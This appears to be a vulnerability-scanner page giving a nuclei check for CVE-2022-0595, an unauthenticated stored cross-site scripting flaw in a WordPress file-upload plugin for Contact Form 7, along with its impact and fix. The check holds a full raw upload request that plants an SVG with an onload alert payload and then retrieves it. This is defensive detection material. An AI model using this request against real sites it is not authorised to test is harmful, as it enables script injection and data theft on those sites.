CVE-2022-0595· codedropz / drag and drop multiple file upload - contact form 7· CWE-79
WordPress Contact Form 7 <1.3.6.3 - Stored Cross-Site Scripting
WordPress Contact Form 7 before 1.3.6.3 contains an unauthenticated stored cross-site scripting vulnerability in the Drag and Drop Multiple File Upload plugin. SVG files can be uploaded by default via the dnd_codedropz_upload AJAX action.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
Fix
Update the WordPress Contact Form 7 plugin to version 1.3.6.3 or later to mitigate the vulnerability.
How to confirm it
Send: POST /wp-admin/admin-ajax.php ; GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.svg
Positive when: contains(body_2, "alert(document.domain)") and status_code_2 == 200Run it with nuclei: nuclei -id CVE-2022-0595 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2022-0595
info:
name: WordPress Contact Form 7 <1.3.6.3 - Stored Cross-Site Scripting
author: akincibor
severity: medium
description: |
WordPress Contact Form 7 before 1.3.6.3 contains an unauthenticated stored cross-site scripting vulnerability in the Drag and Drop Multiple File Upload plugin. SVG files can be uploaded by default via the dnd_codedropz_upload AJAX action.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
remediation: |
Update the WordPress Contact Form 7 plugin to version 1.3.6.3 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/1b849957-eaca-47ea-8f84-23a3a98cc8de
- https://plugins.trac.wordpress.org/changeset/2686614
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2022-0595
cwe-id: CWE-79
epss-score: 0.13516
epss-percentile: 0.96479
cpe: cpe:2.3:a:codedropz:drag_and_drop_multiple_file_upload_-_contact_form_7:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: codedropz
product: drag_and_drop_multiple_file_upload_-_contact_form_7
framework: wordpress
tags: cve,cve2022,xss,wordpress,wp-plugin,wpscan,fileupload,intrusive,unauth,codedropz,vuln
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="size_limit"
10485760
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="action"
dnd_codedropz_upload
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="type"
click
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="upload-file"; filename="{{randstr}}.svg"
Content-Type: image/jpeg
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
-----------------------------92633278134516118923780781161--
- |
GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.svg HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body_2, "alert(document.domain)")'
- 'status_code_2 == 200'
condition: andReferences
- https://wpscan.com/vulnerability/1b849957-eaca-47ea-8f84-23a3a98cc8de
- https://plugins.trac.wordpress.org/changeset/2686614
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from